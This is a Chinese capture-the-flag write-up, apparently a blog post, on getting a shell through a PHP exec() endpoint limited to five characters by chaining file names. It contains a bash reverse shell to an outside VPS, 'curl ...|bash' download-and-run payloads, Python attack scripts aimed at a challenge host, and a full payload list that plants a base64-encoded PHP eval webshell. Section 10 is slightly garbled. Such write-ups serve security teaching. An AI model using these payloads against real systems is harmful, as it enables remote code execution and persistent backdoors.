5位可控字符下的命令执行


遇到了这样一个题,这题是一个特别的命令执行题, 首先进去首页之后发现以下源码:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

此题长度限制为5,所以不能用常规的方法来getshell。orange师傅给的方式是通过拼接执行来getshell。

基础知识

1.可以通过“>”符来创建文件,如“>a”将创建名为a的文件
ls>a 将目录写进a文件 ls>>a 追加的形式写(注意排序问题,按照顺序写的)
在这里插入图片描述
2. 通过ls的-t(从晚到早)参数来按时间先后来排序文件,新文件在前,旧文件在后
在这里插入图片描述
3. sh a 会把文件a里面的内容当作命令来执行
在这里插入图片描述
4. 可以使用反斜杠“ \ ”来进行命令拼接,实现换行(最后一个i后面没有“\”了,说明命令结束,并开始执行)
在这里插入图片描述
5. 通过base64来避免特殊字符
在这里插入图片描述
6. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
# ls
* (等同于命令:id root)

在这里插入图片描述
7. 增加字母来限定被用来当作 命令 和 参数 的文件

>ls
>lss
>lsss
>1
*s (等同于命令:ls lss lsss)
*使第一个列出的文件名(ls)当作命令,剩下的文件名当作参数,而*后面的s有限制了只有含有s的字符串才能当做参数

在这里插入图片描述
在这里插入图片描述
8. 联合知识点⑦,通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

>rev
echo 1234 > v
*v (等同于命令:rev v)

在这里插入图片描述
在这里插入图片描述
9. ls是 换行 输出,先看下ls的效果,ls的结果写到文件g中时每个文件名都是单独一行,这样会影响知识点 ⑥ 的命令执行
先创建几个命令文件:

# ls -t>g
>\>g
>-t\\         # 两个反斜杠用于转义,防止最后一个反斜杠在命令行中就被当做换行符
>s\ \\
>l\\

在这里插入图片描述
ls的结果写到文件g中时每个文件名都是单独一行,就不能利用中的“*”方式来执行命令了,而必须借助“ \ ”来执行g文件中的命令。

**10. 使用 I F S 来 代 替 空 格 ∗ ∗ 有 时 候 一 条 命 令 中 可 能 要 有 多 个 空 格 , 而 这 样 的 话 用 上 面 的 方 法 拼 接 命 令 是 就 会 生 成 相 同 名 的 文 件 ( 空 格 ) , 会 造 成 覆 盖 , 所 以 要 用 ‘ {IFS}来代替空格** 有时候一条命令中可能要有多个空格,而这样的话用上面的方法拼接命令是就会生成相同名的文件(空格),会造成覆盖,所以要用` IFS{IFS}`等符号来代替一个空格
如一下命令:

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

11. 错误语句不会影响下面正确语句的执行

-t\
>q
a  //这之前的命令虽然是错的,但不会影响下面正确语句的执行
l\
s \
-t\
>q   //实际输出的命令为 ls -t>q

正式开始操作

综上,我们需要做的就是将命令写进文件,使用“ \ ”来连接不同行,然后执行文件就可以。但是问题出现了,我们控制不了文件的顺序,使得写入文件时的顺序不会是按照我们想的顺序,如果能按照时间排序就很完美了,当然ls -t就是这个功能,我们需要把它写进一个文件里,方便接下来调用。

首先我把下面这段代码写入到主机中我们创建的名为a的文件中去,然后后期再传入攻击payload时。通过sh执行a文件即可生成f文件,然后再让sh去执行f文件的代码内容即可得到一句话木马

ls ‐t>g
我们将这个命令写入文件a,a文件中的内容为“ls ‐t>g”

我们想要ls -t>g这个命令写入文件a,那么创建ls \,-t\ ,>g这三个文件,
所以payload如下

>ls\ \\
>-t\\
>\>g

我们有这三个文件了,就可以调用命令ls>a 将目录(目录中的文件名)写进a文件。但是发现…a里面的命令实际是乱的(因为ls和dir命令结果默认是根据文件名字母顺序进行排序的):
在这里插入图片描述
怎样才能将创建的文件可以排成我们想要的顺序呢?

方法一:
看看大佬的顺序是如何弄的(环境不一样,可能是不一样的

# ls ‐t>q
>-t\\
>\>q
>l\\
>s\ \\
ls>a
ls>>a

在这里插入图片描述
ls>a之后 文件内容为

在这里插入图片描述
在ls>>a 得到的结果为
在这里插入图片描述
我们看到第四个到第七个组成了ls -t>q,前面的错误指令不用考虑,不影响。该方法环境不一样,可能是不一样的。有局限性。

方法二:(借助字典顺序、dir、rev和“*”符号)
用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行。所以“*”要配合dir来用。
我们的目的是把下面这段代码写入到主机的a文件中去:

ls ‐th >f         //h的存在是为了更好地利用字典顺序
我们将这个命令写入文件a,a文件中的内容为“ls ‐t>f”

所以payload如下

>dir
>f\>
>ht-
>sl

*>v (等同于命令:dir "f>" "ht‐" "sl" > v ,先将反向命令的写入中间文件v,文件v中的内容为f> ht- sl (dir写入文件自动加空格,所以不需要在用“\”来转义空格了))
>rev
>*v>a (等同于命令:rev v > a)(a里面的内容为:ls ‐th >f)

以上h的存在只为了能够利用字典顺序,即fht-前,ht-sl前,这就按照字母顺序写入了v,v再反向输出一下就得到了ls ‐th >f
这个方法挺巧妙的也挺实用的,本体利用的也是这个方法。这样我们的payload第一部分已经写完,我们将ls ‐th >f 写入了a文件,后期再传入攻击payload或执行其他命令时,通过sh执行a文件即可生成f文件,得到的f文件里就是我们想要执行的命令或木马

如反弹一个shell:

我们在自己的vps上web目录/var/www/html/里先创建一个文件index.html,里面写好反弹shell的话(由于linux文件名不能有斜杠“/”,所以就不能curl xxx.xxx.xxx.xxx/1.txt,我们就用index,这样47.1x0.1x0.123连上后会默认自动访问index.html反弹shell)

bash -i >& /dev/tcp/47.1x0.1x0.123/2333 0>&1

接下来让该题目标靶机执行curl 47.1x0.1x0.123|bash
写脚本:

import requests
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\',
    'ls>_',
    '>\ \\',
    '>-t\\',
    '>\>g',
    'ls>>_',

    # generate `curl 47.1x0.1x0.123|bash`
    '>sh\ ',
    '>ba\\',
    '>\|\\',
    '>3\\',
    '>12\\',
    '>0.\\',
    '>1x\\',
    '>0.\\',
    '>1x\\',
    '>7.\\',
    '>4\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',

    # exec
    'sh _',
    'sh g',
]

r = requests.get('http://49.234.5.69:30002/?reset=1')
for i in payload:
    assert len(i) <= 5
    r = requests.get('http://49.234.5.69:30002/?cmd=' + quote(i) )
    print i
    sleep(0.2)

返现不行,没有成功反弹shell。原来在我们脚本中存在了两个“>0.\”,无法创建两个同名的文件,所以后一个0.\文件将前一个0.\文件覆盖了,这是ip地址的原因,我们可以从网上将ip地址转为十进制的来解决。
在这里插入图片描述
我们这里来使用域名来代替ip:
www.rxxi.vip

import requests
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\',
    'ls>_',
    '>\ \\',
    '>-t\\',
    '>\>g',
    'ls>>_',

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash`
    '>sh\ ',
    '>ba\\',
    '>\|\\',
    '>ip\\',
    '>v\\',
    '>i.\\',
    '>x\\',
    '>rx\\',
    '>w.\\',
    '>ww\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',

    # exec
    'sh _',
    'sh g',
]

r = requests.get('http://49.234.5.69:30002/?reset=1')
for i in payload:
    assert len(i) <= 5
    r = requests.get('http://49.234.5.69:30002/?cmd=' + quote(i) )
    print i
    sleep(0.2)

在生成自己的命令时要注意各个命令段之间名字不能相同 因为不能生成两个带有相同命令段的文件名。
用Finalshell连上自己的vps,执行nc -lvp 2333等待连接
在这里插入图片描述
执行完Python脚本后我们的vps就可以成功连上靶机的shell了,在根目录就可以找到flag。
在这里插入图片描述
在这里插入图片描述

上传Webshell马

我们的payload第一部分已经写完,接下来我们需要把这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下最终payload:
payload.txt:

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>64\ \\ 
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\ 
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\ 
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh f

Python:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://49.234.5.69:30002/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))
        #检查是 否攻击成功
test = requests.get("http://49.234.5.69:30002/var/www/sandbox/473beaa15f3bfe7b4fc99499fffac5ed/1.php")
if test.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

连菜刀就行了:在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值